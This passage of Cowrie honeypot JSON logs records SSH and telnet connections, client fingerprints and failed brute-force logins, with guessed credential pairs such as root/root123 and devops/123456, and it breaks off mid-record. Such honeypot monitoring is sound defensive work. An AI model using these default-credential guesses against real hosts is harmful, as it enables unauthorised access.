{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:02.751099Z","src_ip":"91.92.40.153","session":"d79ad9f58c53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123","message":"login attempt [root/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:03.461230Z","src_ip":"91.92.40.153","session":"d79ad9f58c53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:04.708531Z","src_ip":"91.92.40.153","session":"d79ad9f58c53","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:06.037103Z","src_ip":"139.99.74.35","session":"7685cd93cdf3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:06.063206Z","src_ip":"139.99.74.35","session":"7685cd93cdf3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":54892,"dst_ip":"10.17.0.5","dst_port":22,"session":"12ded4861736","protocol":"ssh","message":"New connection: 91.92.40.153:54892 (10.17.0.5:22) [session: 12ded4861736]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:08.676091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:08.894442Z","src_ip":"91.92.40.153","session":"12ded4861736","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:08.911333Z","src_ip":"91.92.40.153","session":"12ded4861736","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"private","password":"private","message":"login attempt [private/private] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:10.016392Z","src_ip":"91.92.40.153","session":"12ded4861736","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:11.317766Z","src_ip":"91.92.40.153","session":"12ded4861736","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":44436,"dst_ip":"10.17.0.5","dst_port":22,"session":"aff145554576","protocol":"ssh","message":"New connection: 91.92.40.153:44436 (10.17.0.5:22) [session: aff145554576]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:14.657929Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:14.793789Z","src_ip":"91.92.40.153","session":"aff145554576","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:14.796909Z","src_ip":"91.92.40.153","session":"aff145554576","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teste","password":"teste","message":"login attempt [teste/teste] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:15.737631Z","src_ip":"91.92.40.153","session":"aff145554576","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:17.122160Z","src_ip":"91.92.40.153","session":"aff145554576","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":52176,"dst_ip":"159.203.135.109","dst_port":22,"session":"113039490817","protocol":"ssh","message":"New connection: 160.187.174.22:52176 (159.203.135.109:22) [session: 113039490817]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:17.737446Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:17.748512Z","src_ip":"160.187.174.22","session":"113039490817","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:17.985444Z","src_ip":"160.187.174.22","session":"113039490817","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QQ123456","message":"login attempt [root/QQ123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:18.971978Z","src_ip":"160.187.174.22","session":"113039490817","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:20.223875Z","src_ip":"160.187.174.22","session":"113039490817","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":44484,"dst_ip":"10.17.0.5","dst_port":22,"session":"a05b7f52af9c","protocol":"ssh","message":"New connection: 91.92.40.153:44484 (10.17.0.5:22) [session: a05b7f52af9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:20.290377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:20.943177Z","src_ip":"91.92.40.153","session":"a05b7f52af9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:20.946263Z","src_ip":"91.92.40.153","session":"a05b7f52af9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"123456","message":"login attempt [devops/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:22.620634Z","src_ip":"91.92.40.153","session":"a05b7f52af9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:24.105181Z","src_ip":"91.92.40.153","session":"a05b7f52af9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":39930,"dst_ip":"10.17.0.5","dst_port":22,"session":"eef3fb42e0d8","protocol":"ssh","message":"New connection: 91.92.40.153:39930 (10.17.0.5:22) [session: eef3fb42e0d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:26.105682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:26.558353Z","src_ip":"91.92.40.153","session":"eef3fb42e0d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:26.561213Z","src_ip":"91.92.40.153","session":"eef3fb42e0d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"tester","message":"login attempt [tester/tester] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:28.863552Z","src_ip":"91.92.40.153","session":"eef3fb42e0d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:30.783559Z","src_ip":"91.92.40.153","session":"eef3fb42e0d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":43742,"dst_ip":"159.203.135.109","dst_port":23,"session":"325cd7e3b884","protocol":"telnet","message":"New connection: 170.64.224.25:43742 (159.203.135.109:23) [session: 325cd7e3b884]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:31.270289Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"h3tzner!","message":"login attempt [ubuntu/h3tzner!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:31.617962Z","src_ip":"139.99.74.35","session":"7685cd93cdf3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.198.154.150","src_port":41212,"dst_ip":"159.203.135.109","dst_port":23,"session":"5203c9b5fc0a","protocol":"telnet","message":"New connection: 143.198.154.150:41212 (159.203.135.109:23) [session: 5203c9b5fc0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:31.636551Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":39956,"dst_ip":"10.17.0.5","dst_port":22,"session":"90b8fc603a95","protocol":"ssh","message":"New connection: 91.92.40.153:39956 (10.17.0.5:22) [session: 90b8fc603a95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:31.820546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:32.373688Z","src_ip":"91.92.40.153","session":"90b8fc603a95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:32.377321Z","src_ip":"91.92.40.153","session":"90b8fc603a95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"sftpuser","message":"login attempt [sftpuser/sftpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:34.760432Z","src_ip":"91.92.40.153","session":"90b8fc603a95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":43752,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b1719155969","protocol":"telnet","message":"New connection: 170.64.224.25:43752 (159.203.135.109:23) [session: 7b1719155969]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:34.879964Z"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:36.505595Z","src_ip":"91.92.40.153","session":"90b8fc603a95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":47124,"dst_ip":"10.17.0.5","dst_port":22,"session":"d363086c61a9","protocol":"ssh","message":"New connection: 91.92.40.153:47124 (10.17.0.5:22) [session: d363086c61a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:37.921126Z"}
{"eventid":"cowrie.session.closed","duration":"38.2","message":"Connection lost after 38.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:38.293208Z","src_ip":"139.99.74.35","session":"7685cd93cdf3","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:38.421947Z","src_ip":"91.92.40.153","session":"d363086c61a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-ni